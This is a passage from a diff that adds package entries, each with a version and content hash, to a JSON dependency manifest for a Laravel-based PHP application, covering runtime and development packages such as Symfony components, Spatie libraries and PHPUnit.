"tree-v2:227c217ed67b9cd48cc589867bf18379e95858e068724b8fbef94713311b024e" + }, + "livewire/livewire": { + "version": "v3.8.7", + "hash": "tree-v2:03751c8d0ff86c69cd31d12d03108a2b51de4e0814112f52fa0430b373048287" + }, + "log1x/laravel-webfonts": { + "version": "v2.0.1", + "hash": "tree-v2:c192111c594d02411d0fbf9dab0837775b56a044c85dd30351d20a9779929872" + }, + "lorisleiva/laravel-actions": { + "version": "v2.10.2", + "hash": "tree-v2:29d4ccab64e49c12ef9a474d85db12c65efaebb1af8a3d2ecf6ec947cff6eda4" + }, + "lorisleiva/lody": { + "version": "v0.7.0", + "hash": "tree-v2:2c14f50081e55efb773357853964f9afbecb8ffc9743f9388f0d8d56ec20a06a" + }, + "monolog/monolog": { + "version": "3.10.0", + "hash": "tree-v2:e248df59c4227ff9e0639a9a9c181c11d5a2f1b006cff723c410ac8384f5221e" + }, + "mtdowling/jmespath.php": { + "version": "2.9.2", + "hash": "tree-v2:c87e5d6482253928932f38ada2184333cccc8be28081642f4f1b41dc66734822" + }, + "nesbot/carbon": { + "version": "3.13.2", + "hash": "tree-v2:234c5d4f300a255952cd9c20d906a8d8103826a9dadcc63b17073d922dfdab1a" + }, + "nette/schema": { + "version": "v1.3.6", + "hash": "tree-v2:502542dfdcfa7c69b22954a883a7605ef7c0d399a15df5fa09aaf695d437b358" + }, + "nette/utils": { + "version": "v4.1.5", + "hash": "tree-v2:98a3f1d758153bf83c6da5b98625cb4b1ad1105369e07cb24ea29f60eff0ab63" + }, + "nikic/php-parser": { + "version": "v5.8.0", + "hash": "tree-v2:90ddc66bf11d350b722c1773acd27c8dd2fa1e49aef3a97fded688f19fdde528" + }, + "nubs/random-name-generator": { + "version": "v2.2.0", + "hash": "tree-v2:a743094ff0ff78ddb63ec8664039da2cf81e089dc5f6c16b17520811e2e9cb84" + }, + "nunomaduro/termwind": { + "version": "v2.4.0", + "hash": "tree-v2:19bb7af2b1ec2c1a8187fca9af3615fe7ba53c12948053951f9175a1a03a0e48" + }, + "nyholm/psr7": { + "version": "1.8.2", + "hash": "tree-v2:13ffe5426fb64cceca6901fa1055a0688ec899fa490c81c1a63132b2d25d7ce4" + }, + "paragonie/constant_time_encoding": { + "version": "v3.1.3", + "hash": "tree-v2:49dd6b293347e87932021f7c295f914e69623eafd76080a2799b14139a1a51e8" + }, + "paragonie/random_compat": { + "version": "v9.99.100", + "hash": "tree-v2:3f247d4e9da196031d5ee2754558e7dc17e8d63d7506320fa384d0432c5450d1" + }, + "phpdocumentor/reflection-common": { + "version": "2.2.0", + "hash": "tree-v2:4d02e6474b2c5b0a756adbb6d10bc568fff06a6d51ad8bb23162d2719dd08119" + }, + "phpdocumentor/reflection-docblock": { + "version": "6.0.3", + "hash": "tree-v2:d4455a70c012b399cab192e5b46fc8609741b8c54d1d8d2ca241b51011f602e1" + }, + "phpdocumentor/type-resolver": { + "version": "2.0.0", + "hash": "tree-v2:dbbcdc69a18db06efa73b7c12d48bf3918cb1a8fb2e062d4eb726cff61ce2264" + }, + "phpoption/phpoption": { + "version": "1.9.5", + "hash": "tree-v2:b62416f10065930c8d9360481686b69cc63f37eb585dba067bc05da794b0047f" + }, + "phpseclib/phpseclib": { + "version": "3.0.57", + "hash": "tree-v2:55fd680d70046da18276ca8b09dd3f45507a955c8963f01b2b65e1d576241790" + }, + "phpstan/phpdoc-parser": { + "version": "2.3.3", + "hash": "tree-v2:03f1a0e3c46d438463837789e469ee322c8bc9418615ea8145692cc9159df65b" + }, + "pion/laravel-chunk-upload": { + "version": "v1.6.3", + "hash": "tree-v2:d443106f44dc4dc50a46446d4f18b2bbb95fc771e2e28f637e0a41ae53ac61cb" + }, + "poliander/cron": { + "version": "3.3.1", + "hash": "tree-v2:828c1437d249186e1dc7c8070b14b520c78460ede432120f647ce63187f89c02" + }, + "pragmarx/google2fa": { + "version": "v9.0.0", + "hash": "tree-v2:6661a83fede3ef801435599f5358318363e7a13a6a4447d9abd38b10ce49605f" + }, + "psr/cache": { + "version": "3.0.0", + "hash": "tree-v2:ac46f271c3134fa0193f61ed54dab6b7cf822030f0b249f8c54f51a1803c867d" + }, + "psr/clock": { + "version": "1.0.0", + "hash": "tree-v2:2a7e0fd2ce370b76b21dafdf64121892c972ca91f4bed220b3505db4ec870674" + }, + "psr/container": { + "version": "2.0.2", + "hash": "tree-v2:e5aaa33e7ad4cc518518e652f7435918c83ef034fa359b53731e10501eb6d682" + }, + "psr/event-dispatcher": { + "version": "1.0.0", + "hash": "tree-v2:091c7ba644dd4b46f4ca5a1e99e696b646f8a2a87821a8ca36e3328aba6fa182" + }, + "psr/http-client": { + "version": "1.0.3", + "hash": "tree-v2:50063ed6dde84d09a63437f58a953b8aa0fdd3fcab44d5d8688a89fc48130f07" + }, + "psr/http-factory": { + "version": "1.1.0", + "hash": "tree-v2:dde23cb9ba5cc39c10acd8ade52be90b01927cc77ba64e3a7db3abe7c98f40ec" + }, + "psr/http-message": { + "version": "2.0", + "hash": "tree-v2:a9575ef4779a21eb0d3f04a1e2f0f008e67785cc86d750046a13455f9266ff41" + }, + "psr/log": { + "version": "3.0.2", + "hash": "tree-v2:0f88d9371ba05c1791394f2e0a56979e1e17258f9bea9519ffc51f11c85b7844" + }, + "psr/simple-cache": { + "version": "3.0.0", + "hash": "tree-v2:1854aa6d2cd53968d44c1fddcde547872925142ee6a5dea8d183b3a9e9551b7c" + }, + "psy/psysh": { + "version": "v0.12.24", + "hash": "tree-v2:c518e85e74d1aef81854220186172a87c7e1553652d35eff97655015389e5404" + }, + "purplepixie/phpdns": { + "version": "2.3.6", + "hash": "tree-v2:3e2c11aebd52bf1faa28737c6871f0bb311ee09d5936e572f1b8dd9b43c77817" + }, + "pusher/pusher-php-server": { + "version": "7.3.0", + "hash": "tree-v2:c7713b62c33d0f6504f5226e33be144a1255125ec013abfe5ee06fa619c4a340" + }, + "ralouphie/getallheaders": { + "version": "3.0.3", + "hash": "tree-v2:db666a4e690725b904b5de22a95b230e08ba09f45559a03b32ffb933b0abb75f" + }, + "ramsey/collection": { + "version": "2.1.1", + "hash": "tree-v2:ad16df2a5b3611348dc88ba0a921d27b7e074406ff667ca547c6a3579734972c" + }, + "ramsey/uuid": { + "version": "4.9.3", + "hash": "tree-v2:5683dc29fce0bf6588b8074e4f5d5c1987401c061bb8e412ae7efff27c24c5ad" + }, + "ratchet/rfc6455": { + "version": "v0.4.1", + "hash": "tree-v2:f8ab0e11b00c48fdfa9849073c663a21708c640f4f6a054fdf330c0e66b7c32c" + }, + "react/cache": { + "version": "v1.2.0", + "hash": "tree-v2:303d5bc29045a7370e96e9760540265fe0df3639cfb03a0914a09e3b71d85cea" + }, + "react/dns": { + "version": "v1.14.0", + "hash": "tree-v2:59869424ef3faf16394bfd6957d3d42cdff87f7234ef1190b4028c56dfc8dc89" + }, + "react/event-loop": { + "version": "v1.6.0", + "hash": "tree-v2:0b4ee3a9e74158fc9a291bc3e44f74ded61bd2ecf5752f53b04936bb86890e96" + }, + "react/promise": { + "version": "v3.3.0", + "hash": "tree-v2:dea9b667d543e827b3640262c29c5c2348ee7535045fbb5ea9fd05b65526e8c4" + }, + "react/promise-timer": { + "version": "v1.11.0", + "hash": "tree-v2:40aacf5a4884e1c2a1c8f51e5db11daaea6486b8c92439eeaedaf8d54589b1bf" + }, + "react/socket": { + "version": "v1.17.0", + "hash": "tree-v2:4809bfe68cb0b7634391369c426e336355c696862bce27bf3314411293d7a493" + }, + "react/stream": { + "version": "v1.4.0", + "hash": "tree-v2:24cd9a269d6eef586865cd4525abfa3068f55e7c634a0d938071300df371fbb1" + }, + "resend/resend-laravel": { + "version": "v1.5.0", + "hash": "tree-v2:0d8595f92df4e111c5093d4d8ce45b51a21e19a63ad3cd5f11898d613a3778b6" + }, + "resend/resend-php": { + "version": "v1.16.0", + "hash": "tree-v2:41aee3a1e56f0c323e4c11b2204958d7e24716a4f6ba33a82a279fabdadbc698" + }, + "sentry/sentry": { + "version": "4.30.0", + "hash": "tree-v2:559b1c23b5422ac70204d32280cb016bf79476201b395c10454dc13c4755ba95" + }, + "sentry/sentry-laravel": { + "version": "4.27.0", + "hash": "tree-v2:5303ae7449f08c6ad252d2fbbea504d8123279b3a72a32c478fbab234289be25" + }, + "socialiteproviders/authentik": { + "version": "5.3.0", + "hash": "tree-v2:b87546ceea927533581ec65ffa7f49bbc8eba19f53d3e86d276b0e266b447818" + }, + "socialiteproviders/clerk": { + "version": "5.1.0", + "hash": "tree-v2:dbbdb491ea001863c8aeab896e105552c4aef5635299cc59078bcd334f8c1264" + }, + "socialiteproviders/discord": { + "version": "4.2.0", + "hash": "tree-v2:b9643f1b280a1e4c705d6a0a60b450d241f83f6c07a958b79cc05ae5f2a8586e" + }, + "socialiteproviders/google": { + "version": "4.1.0", + "hash": "tree-v2:4f1286cbb3220ba557ed26e44f7341b6993cc9eb8afe3d1122be309f4a7200f4" + }, + "socialiteproviders/infomaniak": { + "version": "4.0.0", + "hash": "tree-v2:646fdffaaa711fb0698a2ec1647056f8c9cc23a9d4e170ea6ab62d44044993ca" + }, + "socialiteproviders/manager": { + "version": "4.9.2", + "hash": "tree-v2:d800f550bccc1d0ff067c7a97615aa5ed91fc854d0535b7e8667ee4d0954b59c" + }, + "socialiteproviders/microsoft-azure": { + "version": "5.2.0", + "hash": "tree-v2:3a0a2a1617d91d6aa2cff6e476c0c471738ed8a3aff12259ad7a9908aafdc248" + }, + "socialiteproviders/zitadel": { + "version": "4.2.0", + "hash": "tree-v2:00f5f3c0138d49e42364152d590e5dc74a0284ce3bb55a954efd87c5bc72989e" + }, + "spatie/commonmark-shiki-highlighter": { + "version": "2.5.2", + "hash": "tree-v2:da985acdbdd912496897c3edd71e2f2547fd896059164dd5a36b628e3241fad5" + }, + "spatie/laravel-activitylog": { + "version": "4.12.3", + "hash": "tree-v2:471e238146b28116bfb231b2a2cacc1dc9a0228a08e0076b8a74da389cc175e9" + }, + "spatie/laravel-data": { + "version": "4.23.0", + "hash": "tree-v2:6391465cf6c5a21d901a30b4df29c3039e5e0accb6b41a0c3c71bb4f2b3deb67" + }, + "spatie/laravel-markdown": { + "version": "2.8.0", + "hash": "tree-v2:35ba0757f6a53e91cdbb12000f797cca394fb4d0694d84e274c65cc94ecc6170" + }, + "spatie/laravel-package-tools": { + "version": "1.93.1", + "hash": "tree-v2:872b831650427458a405c2c8335c05a6ce31ab58206a1c90c08e22df643fc282" + }, + "spatie/laravel-schemaless-attributes": { + "version": "2.6.0", + "hash": "tree-v2:aceb5a7bfb0f178a24b4cb744bef3d9d467400b05687ed53c8bbb5aba7137168" + }, + "spatie/macroable": { + "version": "2.1.0", + "hash": "tree-v2:344a2e65018d7b2fe15a2e2a6fed2bebbcf859094233dca388c40df8261104d4" + }, + "spatie/php-structure-discoverer": { + "version": "2.4.4", + "hash": "tree-v2:1aa3de6b429a12a5a58af48f8e9721d349df02ace12561b8430ca769f866b468" + }, + "spatie/shiki-php": { + "version": "2.4.0", + "hash": "tree-v2:5f980c9f51efcf49a892464c70a40b2256cad3da2299ddb6f7f1ae6f51bb1bea" + }, + "spatie/url": { + "version": "2.4.0", + "hash": "tree-v2:ccfbd1e8a695b968ba0e8b70663c8313ee60235ec562c27e51d1e7ec20ca5881" + }, + "spomky-labs/cbor-php": { + "version": "3.3.0", + "hash": "tree-v2:8185dd56a52fda8afe3ea92b333809a94a1635cc94b9a80afd03d0f5e895bacf" + }, + "spomky-labs/pki-framework": { + "version": "1.6.0", + "hash": "tree-v2:be0c59ec13eae7e346bbcec4a0821a75016fb809f18df0357b19d9555edb7f80" + }, + "stevebauman/purify": { + "version": "v6.3.2", + "hash": "tree-v2:c1a25d80b65af346fede09a960d4f643bc21cad4ec0bef81dc6741807d3d268c" + }, + "stripe/stripe-php": { + "version": "v16.6.0", + "hash": "tree-v2:aa959d41f9c5b2142865352c3180308abb91a79c051c11b2a63f05d5255aa34d" + }, + "symfony/clock": { + "version": "v8.1.0", + "hash": "tree-v2:7888f31d60c29c4f777204510e9a60a557c98a4e480efe5d9eb13dd617bf21f1" + }, + "symfony/console": { + "version": "v7.4.16", + "hash": "tree-v2:6bcaeda34b1df22209a4ea023cf74641d865fdb255fa909e94e956dc7a261303" + }, + "symfony/css-selector": { + "version": "v8.1.0", + "hash": "tree-v2:e9e6a6af09fd94bc3bb7e23963502feb3981befc9898be01576ffc704a4e9698" + }, + "symfony/deprecation-contracts": { + "version": "v3.7.1", + "hash": "tree-v2:5833e98c5092cd02ed429ffd459b82b158f20393ef0b0ec2e06b2833d7efe838" + }, + "symfony/error-handler": { + "version": "v7.4.15", + "hash": "tree-v2:8496cdd8c3c237648e8c48f092f7f0a90d33a996852c44021a0b724344c9d92b" + }, + "symfony/event-dispatcher": { + "version": "v8.1.5", + "hash": "tree-v2:44ed3dd86aee506338f18bd5293ebfd1e23ead8659903a8bc020cd1a263dba0a" + }, + "symfony/event-dispatcher-contracts": { + "version": "v3.7.1", + "hash": "tree-v2:0ac7e6b0bd6da93975ac9b3ec9f41aa596e9c1c6217813797d1e8bb64be89139" + }, + "symfony/filesystem": { + "version": "v8.1.2", + "hash": "tree-v2:4b713fff4a6a0f61e0b226bab639f355c11dd4a548fa108df08660c0e5055cdb" + }, + "symfony/finder": { + "version": "v7.4.14", + "hash": "tree-v2:eacf156b53cc64a5af416a2d40ed666c4a33727b5fed3d230578e5f0240ed4e1" + }, + "symfony/http-foundation": { + "version": "v7.4.16", + "hash": "tree-v2:a913c017875712cfbe74b767d16f32aa838606f6c5a714265922c12f82f2778d" + }, + "symfony/http-kernel": { + "version": "v7.4.16", + "hash": "tree-v2:9471b2f370a93fff534e818b17fb270471fec8648636860fe3dcd343f27f0ba6" + }, + "symfony/mailer": { + "version": "v7.4.19", + "hash": "tree-v2:a5b4eeb63c3601d56b876f7c331a2f5c8282fe5ad0cfcaca72af7db25ad823e5" + }, + "symfony/mime": { + "version": "v7.4.19", + "hash": "tree-v2:1e8a3ebeaabd6609d46b43ca7d92e2229ad4d7733292181792788556be171a54" + }, + "symfony/options-resolver": { + "version": "v8.1.0", + "hash": "tree-v2:460463358ebcddeefa642be1bbdef7cae975b10da77c231d109fb4d720275f44" + }, + "symfony/polyfill-ctype": { + "version": "v1.37.0", + "hash": "tree-v2:8a05c9979125b75411bed1356ebf16439972fafc4cca1ff6baa717db25e3dfca" + }, + "symfony/polyfill-intl-grapheme": { + "version": "v1.41.0", + "hash": "tree-v2:eb79b6c358896580faee98f60707746489d3575e1641e46c3e6f76ffebf959b1" + }, + "symfony/polyfill-intl-idn": { + "version": "v1.42.0", + "hash": "tree-v2:5908ed2ff682cbff50af4623e96bdf4368a0f9dd8e1ac67f00fad0a6b4a0524c" + }, + "symfony/polyfill-intl-normalizer": { + "version": "v1.42.0", + "hash": "tree-v2:a6da84cf96f8c7adc795ab75d322190007835218c206238bd74d4f05036e568d" + }, + "symfony/polyfill-mbstring": { + "version": "v1.38.2", + "hash": "tree-v2:a9c8cb96ff984032b9ba2c4ad692eba9376cfe8ad9aa95b238bd3edfde57d9b9" + }, + "symfony/polyfill-php80": { + "version": "v1.37.0", + "hash": "tree-v2:db9811052bb9f7cd15e09bd54128f33f64516627d90efa9747b8cb0862188aa8" + }, + "symfony/polyfill-php83": { + "version": "v1.41.0", + "hash": "tree-v2:fada0d369c196d6f1f04166f5d4efc01f4c8c2fccbe96f2bb8a4c2d0ec90d44d" + }, + "symfony/polyfill-php84": { + "version": "v1.38.1", + "hash": "tree-v2:6503d40681cfabb0497999505304d6e13215f353cdb3f4f351c1a7ec80ed0799" + }, + "symfony/polyfill-php85": { + "version": "v1.41.0", + "hash": "tree-v2:6d47992b5698e9021fef2975870ed346c85aeb53d33bbd83f703179b0ff665b3" + }, + "symfony/polyfill-uuid": { + "version": "v1.37.0", + "hash": "tree-v2:3672d6e03712b8d283e49b2c863affd8db644d152d41b733ec4f0ac2c8f02ff2" + }, + "symfony/process": { + "version": "v7.4.13", + "hash": "tree-v2:7fa664d757a0fdf27dc8dfd65c746dab18d968e1c682f8839caa95e3952840ad" + }, + "symfony/property-access": { + "version": "v8.1.4", + "hash": "tree-v2:5f465a4a0eb7e2e8fbe080af2bf95e4c4d3fd4fe272bdf98efc63ed5c0794073" + }, + "symfony/property-info": { + "version": "v8.1.4", + "hash": "tree-v2:17a0d521ae39e683928b84eef8a9d05e753e798c46e62e412b0bad0f8c165cd3" + }, + "symfony/psr-http-message-bridge": { + "version": "v8.1.0", + "hash": "tree-v2:5436ca31402054df5b2f0112afa655297032380d0db45baa946bad4253a8a324" + }, + "symfony/routing": { + "version": "v7.4.15", + "hash": "tree-v2:1eec74fab090e7db3ebebb7889e672f4c58bbd369e04019318f612e5c40924fe" + }, + "symfony/serializer": { + "version": "v8.1.4", + "hash": "tree-v2:149659705c501cec2697f2c75bd4bd962a3dca4aef20cb62a210ce127f68755f" + }, + "symfony/service-contracts": { + "version": "v3.7.3", + "hash": "tree-v2:87421779a4d0f4aae910ba4a77c7a04bfd6d385d86190a96ec8276ec1ba48987" + }, + "symfony/string": { + "version": "v8.1.2", + "hash": "tree-v2:6c3dbd245e870cd78bdd16b764534dff6ddf4c1e0391fd491116cf3a2c1d5ea7" + }, + "symfony/translation": { + "version": "v8.1.4", + "hash": "tree-v2:0cd6421dce1427357556e4e4bd0f77d71d59e15e878a5bbfd687e0a6e4911d87" + }, + "symfony/translation-contracts": { + "version": "v3.7.1", + "hash": "tree-v2:74a8e3a8f0580af687b411de0e087911c348807f6e59858632fbffabeb7bf9a9" + }, + "symfony/type-info": { + "version": "v8.1.0", + "hash": "tree-v2:f71c1d1d8a9605c340252d2c7fc5e4a5feee46edd89e40b9988a037fa544fc65" + }, + "symfony/uid": { + "version": "v7.4.9", + "hash": "tree-v2:0ab2c9a4659cc4f1715a62c49074f741474d06544445e56baa87d922b71aacc9" + }, + "symfony/var-dumper": { + "version": "v7.4.15", + "hash": "tree-v2:c8b18ce6dcad1d629dccc76b6c4820edb4fe7c61eeeb744ca3d31de45a85087e" + }, + "symfony/yaml": { + "version": "v7.4.15", + "hash": "tree-v2:9b3804edae9da1565a6e299ede6fd0b079d650fb0d782859242f4d66d341e07d" + }, + "tijsverkoyen/css-to-inline-styles": { + "version": "v2.4.0", + "hash": "tree-v2:ac5b86c6dee0dc8f5c5f7f98d250d378d8c65dde04156022650e4776734f7fcb" + }, + "visus/cuid2": { + "version": "6.0.0", + "hash": "tree-v2:e96d37d3b83f67809d1ea0fb7f4e33f9879d7aeb2dc5b4fa2135b84177e651c9" + }, + "vlucas/phpdotenv": { + "version": "v5.6.4", + "hash": "tree-v2:2ca7accffdf5b12d4958d2ae3f336361834c50c21c70a2be3532cc286b5f019f" + }, + "voku/portable-ascii": { + "version": "2.1.1", + "hash": "tree-v2:6c1b22272d89eb3d85366cc99a0375535b76a897616d9d79bbfddc8bcded66c6" + }, + "web-auth/cose-lib": { + "version": "4.6.0", + "hash": "tree-v2:58dff943fe79fabffa06d2ad63f9eae90ec2ca5b39078d757260875d7ef99d66" + }, + "web-auth/webauthn-lib": { + "version": "5.3.5", + "hash": "tree-v2:4843b192ff2f3ad73d9464fc8b55127d23a4b7862b04a0b575391115d89580f9" + }, + "webmozart/assert": { + "version": "2.4.1", + "hash": "tree-v2:7376c95163e3fc61ad793a2342e94ff787b01739b28ecce59d5acd1ce8cc691b" + }, + "yosymfony/parser-utils": { + "version": "v2.0.0", + "hash": "tree-v2:96588dacd406278c80997538f85fade4a9d6819d5a5a295253a15bad7bf3f7d7" + }, + "yosymfony/toml": { + "version": "v1.0.4", + "hash": "tree-v2:06d6d20af34021a04bb906b2f8b28a82dc986db7e17234bbae7074b1235e7119" + }, + "zircote/swagger-php": { + "version": "5.8.3", + "hash": "tree-v2:82ab08143346378ab92441f4372cb4ff75439fc9164d53dc79e155d03d12d5a8" + } + }, + "require-dev": { + "amphp/amp": { + "version": "v3.1.3", + "hash": "tree-v2:d3497306739d19b5afaaba19043930ea8eef2470ccd5592f03129fa374f172d7" + }, + "amphp/byte-stream": { + "version": "v2.1.2", + "hash": "tree-v2:76f032d87c398e38a37a7aa8ae50496885edf16cee70178be260eefc17ada6d2" + }, + "amphp/cache": { + "version": "v2.0.1", + "hash": "tree-v2:d7d30faedc5d9aaadb6cd48d296f2bcc202f5b9e9251cb749c07196398da42de" + }, + "amphp/dns": { + "version": "v2.4.0", + "hash": "tree-v2:d28e15bcd691a79054c254023a536ac3c7de9524afd32e8ca1e967ed01cf4dc5" + }, + "amphp/hpack": { + "version": "v3.2.2", + "hash": "tree-v2:224439b904b3e3837e611183925e51859b7cbb85f80143871def0d16484578b7" + }, + "amphp/http": { + "version": "v2.1.2", + "hash": "tree-v2:0c7b6dcb02552516528fc98a6ba8e92908caa010b5eb8e4471f1f12f1c9f3d0e" + }, + "amphp/http-client": { + "version": "v5.3.6", + "hash": "tree-v2:5d4dd74df9cdc7b087b295b67a7c00172d8c9d2099ea5599613c9f5579c52819" + }, + "amphp/http-server": { + "version": "v3.4.6", + "hash": "tree-v2:9a3424c8f2833ed3f24488f9252991502e945c79c0b0e8485ca48b4132387538" + }, + "amphp/parser": { + "version": "v1.1.1", + "hash": "tree-v2:323c0ca63bcacc384f97693e57a1b4d4d25e31075633c87dbf9bb52aefdaf074" + }, + "amphp/pipeline": { + "version": "v1.2.7", + "hash": "tree-v2:91f9d66bbf42eb4dbf2984ea7d8ee6fe9931db442487fde46313a3f840334957" + }, + "amphp/process": { + "version": "v2.1.0", + "hash": "tree-v2:9f2b957f18f84012aa2db032780bca4bdc0468c6b55fe8112fa609430c7bc021" + }, + "amphp/serialization": { + "version": "v1.1.0", + "hash": "tree-v2:a4cd50472d471a9d10fcafdb712cb3efc112bb2e643814529bb6195d43acdce4" + }, + "amphp/socket": { + "version": "v2.4.0", + "hash": "tree-v2:57eb1b91472ba757cd5ab821c4468b1472b1c4a9e5d5bb57d931efbe5a5a3899" + }, + "amphp/sync": { + "version": "v2.3.0", + "hash": "tree-v2:481be54c4d2517271fa742d678abfa01fc7d6d9e4ce1c5df59ccc184b51a4fa1" + }, + "amphp/websocket": { + "version": "v2.0.4", + "hash": "tree-v2:2cccf30e15de80faebf3e958db38aaabea0619a65e2162c6d26b0970d0bb17db" + }, + "amphp/websocket-client": { + "version": "v2.0.2", + "hash": "tree-v2:8ec4699d0c0c88cb401db507d2bc24438050f961bb7efceea2cae31b36c53483" + }, + "brianium/paratest": { + "version": "v7.20.0", + "hash": "tree-v2:075f8b7e73532ba3689126db0f91288a199bcba5f2743bc17a9bf37d53e030c1" + }, + "composer/pcre": { + "version": "3.4.0", + "hash": "tree-v2:ed02f4e2009261111a40bc3f96d602af9d3d2b069df5578bcd5ca8641e55d583" + }, + "composer/semver": { + "version": "3.5.0", + "hash": "tree-v2:248e81e763c49385d13df21a723d156777290b327a2cd119201d4052e26fcb38" + }, + "composer/xdebug-handler": { + "version": "3.0.5", + "hash": "tree-v2:780bdd65290fbfc62bbe8de682feb4eff689bf57ac9598bd42dc83f60e734adf" + }, + "daverandom/libdns": { + "version": "v2.1.0", + "hash": "tree-v2:a4f2d4abdf003756bf9b88bb6c55c8a70d8d214c81529273974c9ddda020fe02" + }, + "driftingly/rector-laravel": { + "version": "2.5.0", + "hash": "tree-v2:8f0433e6ed4017e91c5c41632633330f34370e910335b004913709c5711fc8d4" + }, + "fakerphp/faker": { + "version": "v1.24.1", + "hash": "tree-v2:b6f3d0f8ca79f98400b0df7c2a29004dbd9e3f39f39125ecfd5613e38b9ff6a3" + }, + "fidry/cpu-core-counter": { + "version": "1.3.0", + "hash": "tree-v2:c33bdd2e0430e4110e6ee218701bdee1b422acb2510dd198836519b9a8fcc58d" + }, + "filp/whoops": { + "version": "2.18.4", + "hash": "tree-v2:db8671d760c94524baa207edf2fc1731a493b7074eb94f8767d821712b68188c" + }, + "hamcrest/hamcrest-php": { + "version": "v2.1.1", + "hash": "tree-v2:8b11d442e6982460070110b31fc532c8fe524fc757990e5a4e75f32ebc1e8852" + }, + "kelunik/certificate": { + "version": "v1.1.3", + "hash": "tree-v2:760bb76fec70d2a8530c4968b49720c08824cd8eebb27dee38370d8e71ee5855" + }, + "laravel/boost": { + "version": "v2.10.0", + "hash": "tree-v2:c88d4a35bf2e78d321dca9e8c342c6de41d85d06e840d0f1149d5990ac7c3a3a" + }, + "laravel/pint": { + "version": "v1.30.4", + "hash": "tree-v2:012d3f194967babaf7ec78395508e0c287f5eeda5c549e8adc42740571c7c9bd" + }, + "laravel/roster": { + "version": "v1.0.0", + "hash": "tree-v2:da430a9f3d9fb06a3812b0e8a116d8265a06dce1bfde4182a1de7154ba15ad67" + }, + "laravel/vet": { + "version": "v0.2.1", + "hash": "tree-v2:7c555b9f7eb265649d89769aa9b07bafc809d9e52d15ecdc3a84ee1c59fa767e" + }, + "league/uri-components": { + "version": "7.8.1", + "hash": "tree-v2:a2b928f6fae0e15c66f08ae84e98f7dd8547749390ca842c83014bf1f2d68777" + }, + "mockery/mockery": { + "version": "1.6.12", + "hash": "tree-v2:c6cb44811fb2674feeac51789852447cc0148c22f87a4557f608cd0d3f238836" + }, + "myclabs/deep-copy": { + "version": "1.13.4", + "hash": "tree-v2:7927270fd36147270b920cea3dce8149bf609959dfe7c4174a30e0141143e232" + }, + "nunomaduro/collision": { + "version": "v8.9.5", + "hash": "tree-v2:937038b0d056a8bcf7697a75ce737986eccb501a325645cf05d679e7befcf39e" + }, + "pestphp/pest": { + "version": "v4.7.8", + "hash": "tree-v2:36d984a67927f4dc359da32a74528232c736b60015a6e8eb194c50076fee6544" + }, + "pestphp/pest-plugin": { + "version": "v4.0.0", + "hash": "tree-v2:3103a3f5c29b851523801f4168e91bf6d802ef5e65706fd83273c24c4ec95549" + }, + "pestphp/pest-plugin-arch": { + "version": "v4.0.2", + "hash": "tree-v2:37a528a6ea7283adfb14f06e80ce4dd3884a2917cc372b204c221f206b3bfe98" + }, + "pestphp/pest-plugin-browser": { + "version": "v4.3.1", + "hash": "tree-v2:a9294251c3d572bcfa8ef508c2e1c88bc100fb248b01a4cd0be088b7677d0494" + }, + "pestphp/pest-plugin-mutate": { + "version": "v4.0.1", + "hash": "tree-v2:90dc0a102fcecaf0314015c17c0e98e3f2e5151247da5809a174a731e8b2db89" + }, + "pestphp/pest-plugin-profanity": { + "version": "v4.2.1", + "hash": "tree-v2:88b1581205235488496300f5ee233b42b122f5a5668bb2d95f8169c180121cd9" + }, + "phar-io/manifest": { + "version": "2.0.4", + "hash": "tree-v2:7b98d0ed9886b77df04a08280884b27c7169ba845a24c626ca7abea0d3afc1f7" + }, + "phar-io/version": { + "version": "3.2.1", + "hash": "tree-v2:0409e2019377650177c2b10da803617abc85e49d5b02b8697d450c007eab42b4" + }, + "phpstan/phpstan": { + "version": "2.2.8", + "hash": "tree-v2:11220d859d5bd2348fd5077163b60446b371076d43567e50fa7c8d392a1beffd" + }, + "phpunit/php-code-coverage": { + "version": "12.5.7", + "hash": "tree-v2:5cf24f83c21b6d8fce23e7ad853f77f0807e76f4c84d4f7ffb9053a167df16ca" + }, + "phpunit/php-file-iterator": { + "version": "6.0.1", + "hash": "tree-v2:54536e94dfbd738ec39954f8f2bc3774caa1a1b12a439cafe42011cac2ee0569" + }, + "phpunit/php-invoker": { + "version": "6.0.0", + "hash": "tree-v2:6d8f648edbdac676ca9bee9c2fe97c82d6251aaf62f156c3a36c86736b812e23" + }, + "phpunit/php-text-template": { + "version": "5.0.0", + "hash": "tree-v2:4470e41670dd466f1af97fb08a0705d5e31c1d09f6f09ece2404cbd7ae6a709b" + }, + "phpunit/php-timer": { + "version": "8.0.0", + "hash": "tree-v2:f35fccbffc23c168f18029a433791f4dd85daa7009e53987b66f08bdbf3d4353" + }, + "phpunit/phpunit": { + "version": "12.5.33", + "hash": "tree-v2:fe7d4ec3e4840290cee07c39535422b61bb31ebd2afde15a39a78373a0cd2c64" + }, + "rector/rector": { + "version": "2.6.1", + "hash": "tree-v2:2a4a264d7df24292e129c0d39cdc6a09f70dbf9393ad9868b8741e5eb429e716" + }, + "revolt/event-loop": { + "version": "v1.0.9", + "hash": "tree-v2:0ce99bc9177402510544459689f3c8f2abae7466e27abf1eefb7da8888bc0198" + }, + "sebastian/cli-parser": { + "version": "4.2.1", + "hash": "tree-v2:fc44fc3e0a4b1fd529963948acebc3a3370f7b55aa8e9969c96953477b41886e" + }, + "sebastian/comparator": { + "version": "7.1.8", + "hash": "tree-v2:10f9243c8a5287b8ad9e7ed4651717391adaf923891a95d75b589fa2229f5386" + }, + "sebastian/complexity": { + "version": "5.0.0", + "hash": "tree-v2:f0d6eb200ba389679d875eb854ffc9d6c55884d1e5b5bdcd2e58cb27d505c362" + }, + "sebastian/diff": { + "version": "7.0.0", + "hash": "tree-v2:c72b3660535ae84aa1fa0cf9f328ee07fa30fb779724ee10462908121ec2d8ac" + }, + "sebastian/environment": { + "version": "8.1.2", + "hash": "tree-v2:f6e34bc8513b7d4b3c319a99bd457c406b3ef4968db30b33c07346a6c0d46c06" + }, + "sebastian/exporter": { + "version": "7.0.3", + "hash": "tree-v2:14c6a001c221469a25b6bb02ab8b7684b7e64ed98379ec6e7673853d7ee3c0a4" + }, + "sebastian/global-state": { + "version": "8.0.3", + "hash": "tree-v2:61b9dda526628a2c6b44092338d4363c3b682f4290e71b9bffed49e70327f10c" + }, + "sebastian/lines-of-code": { + "version": "4.0.1", + "hash": "tree-v2:10204087c002cc8387fd29d84327bec5b68cd528a854234fb79f0e29b6f12cde" + }, + "sebastian/object-enumerator": { + "version": "7.0.0", + "hash": "tree-v2:7e0147f70c38947d32d81b0a88607da16c0b067ba9c357febe9779639e55d69f" + }, + "sebastian/object-reflector": { + "version": 